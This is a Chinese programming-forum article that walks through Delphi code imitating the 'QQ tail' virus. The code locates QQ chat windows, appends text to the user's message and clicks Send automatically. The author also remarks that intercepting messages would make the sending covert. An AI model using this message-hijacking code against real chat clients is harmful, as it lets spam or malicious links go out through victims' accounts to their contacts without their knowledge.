程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> 更多編程語言 >> Delphi >> QQ尾巴病毒的另一種實現

QQ尾巴病毒的另一種實現

編輯:Delphi
 前幾天看到 wuqiu 兄 把 QQ尾巴病毒模擬了一遍,

  我覺得通過查找窗體標題,不太合常理

  回去用SPY++來查看了一下,原來,QQ的框架是這樣的

  

   

  其中,#32770(對話框)就是彈出的QQ聊天界面;內部的控件就如上圖顯示的那樣,有Static(標簽)、Button(按鈕)、AfxWnd42(這個我猜類似panel的容器)、RICHEDIT(這裡面就是顯示我們的聊天紀錄了)

  具體的布局就不一一的細說了,你們可以自己打開SPY++看看,一目了然

  其中,我們用到的只是其中兩個控件,如下圖:

  

  

  前半部分是句柄,中間是標題,後半部分是類名

  如:05240258~發送(&S)~Button

  就是發送按鈕,句柄是05240258

  好了,知道了這些,想做點什麼就很簡單了

  全部代碼如下:

   

  Procedure TForm1.Timer1Timer(Sender: TObject);
  Var
     hMemo, hRichEdit, HWindow, HButton: THandle; //句柄變量
     szText           : Array[0..255] Of char;   //得到的字符串
     MyText           : String;  //發送的字符串
  Begin
     HWindow := 0;//從零開始,即從第一個字窗體開始遍歷查找

     While true Do
        Begin

           //找是#32770(對話框)的窗體
           HWindow := FindWindowEx(0, HWindow, '#32770', Nil);
           If HWindow <> 0 Then
              Begin

                //找是AfxWnd42(這個我猜類似panel的容器)的窗體
                 hMemo := FindWindowEx(HWindow, 0, 'AfxWnd42', Nil);
                 If hMemo <> 0 Then
                    Begin

                      //找是RICHEDIT的窗體
                       hRichEdit := FindWindowEx(hMemo, 0, 'RichEdit', Nil);
                       If hRichEdit <> 0 Then
                          Begin

                           //想些什麼隨便啦,嘿嘿
                             MyText := '           阿德是個大帥哥,嘿嘿';

                            //發消息,得到QQ中的文本
                             SendMessage(hRichEdit, WM_GetTEXT, 256,
                                integer(@szText[0]));

                            //加上自己的話
                             MyText := szText + MyText;

                            //再發給QQ
                             SendMessage(hRichEdit, WM_SETTEXT, 256,
                                integer(MyText));

                            //找到發送按鈕
                             HButton := FindWindowEx(HWindow, 0, 'Button',
                                '發送(&S)');

                            //發點擊消息,發送
                             SendMessage(HButton, BM_CLICK, 0, 0);

                            //退出,如果去掉這句,就是給所有打開的QQ窗體發

                            //否則,只發給最前面的QQ窗體
                             break;
                          End;
                    End;
              End;
        End;
  End;

   

  這也只是對QQ尾巴的一種猜測,程序有很多不盡如人意的地方,比如發的文本在QQ中顯示一下然後再發送,就如 wuqiu 兄 的文章裡說的,只要對消息進行攔截,然後再背地裡偷偷的發送,就會神不知鬼不覺了

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved